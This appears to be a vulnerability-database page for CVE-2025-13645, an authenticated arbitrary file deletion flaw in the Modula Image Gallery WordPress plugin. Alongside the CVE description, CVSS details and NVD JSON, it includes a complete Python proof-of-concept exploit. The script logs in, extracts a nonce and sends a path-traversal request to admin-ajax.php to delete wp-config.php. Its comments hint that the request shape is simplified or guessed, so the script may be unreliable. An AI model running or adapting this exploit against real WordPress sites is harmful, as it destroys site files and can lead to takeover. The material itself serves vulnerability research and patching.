Security Vulnerability Report
中文
CVE-2025-13645 CVSS 7.2 HIGH

CVE-2025-13645

Published: 2025-12-03 03:16:00
Last Modified: 2025-12-15 15:39:46

Description

The Modula Image Gallery plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the 'ajax_unzip_file' function in versions 2.13.1 to 2.13.2. This makes it possible for authenticated attackers, with Author-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:wpchill:modula_image_gallery:*:*:*:*:*:wordpress:*:* - VULNERABLE
Modula Image Gallery (WordPress插件) >= 2.13.1
Modula Image Gallery (WordPress插件) <= 2.13.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-13645 PoC - Modula Image Gallery Arbitrary File Deletion This PoC demonstrates the arbitrary file deletion vulnerability in Modula plugin. """ import requests import sys from urllib.parse import urlencode TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_username" PASSWORD = "attacker_password" TARGET_FILE = "wp-config.php" # File to delete def get_nonce(login_cookie): """Get CSRF nonce from WordPress admin page""" response = requests.get( f"{TARGET_URL}/wp-admin/admin.php?page=modula", cookies=login_cookie ) # Extract nonce from response (simplified) import re nonce_match = re.search(r'ajaxNonce["\']\s*[:=]\s*["\']([a-zA-Z0-9]+)', response.text) return nonce_match.group(1) if nonce_match else None def exploit_arbitrary_file_deletion(): """Exploit the arbitrary file deletion vulnerability""" # Step 1: Login to WordPress session = requests.Session() login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } login_response = session.post( f"{TARGET_URL}/wp-login.php", data=login_data, allow_redirects=False ) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Get nonce for AJAX request nonce = get_nonce(session.cookies.get_dict()) if not nonce: print("[-] Failed to get nonce") return False print(f"[+] Got nonce: {nonce}") # Step 3: Send malicious request to delete arbitrary file # The vulnerability is in ajax_unzip_file function # Attackers can manipulate the file path in the ZIP archive exploit_data = { 'action': 'modula_unzip_file', 'nonce': nonce, 'file_path': f'../../../../../../../../../{TARGET_FILE}', 'gallery_id': '1' } print(f"[*] Attempting to delete: {TARGET_FILE}") response = session.post( f"{TARGET_URL}/wp-admin/admin-ajax.php", data=exploit_data ) if response.status_code == 200: print("[+] File deletion request sent") print("[+] If wp-config.php was deleted, attacker can reinstall WordPress") return True else: print(f"[-] Request failed with status: {response.status_code}") return False if __name__ == "__main__": print("CVE-2025-13645 PoC - Modula Image Gallery Arbitrary File Deletion") print("=" * 60) exploit_arbitrary_file_deletion()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13645", "sourceIdentifier": "[email protected]", "published": "2025-12-03T03:15:59.840", "lastModified": "2025-12-15T15:39:46.137", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Modula Image Gallery plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the 'ajax_unzip_file' function in versions 2.13.1 to 2.13.2. This makes it possible for authenticated attackers, with Author-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wpchill:modula_image_gallery:*:*:*:*:*:wordpress:*:*", "versionStartIncluding": "2.13.1", "versionEndExcluding": "2.13.3", "matchCriteriaId": "711CF2DC-199B-472B-BEA7-4D1E8119ECC1"}]}]}], "references": [{"url": "https://github.com/WPChill/modula-lite/commit/90c8eb982f71b31584d9be9359e3b594e03927d7", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://plugins.trac.wordpress.org/browser/modula-best-grid-gallery/tags/2.13.2/includes/admin/class-modula-gallery-upload.php#L1025", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://plugins.trac.wordpress.org/browser/modula-best-grid-gallery/tags/2.13.2/includes/admin/class-modula-gallery-upload.php#L1119", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://plugins.trac.wordpress.org/changeset/3395701/modula-best-grid-gallery#file5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://plugins.trac.wordpress.org/changeset/3407949/modula-best-grid-gallery", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/080683bb-713f-4aa8-b635-90c96f358bec?source=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}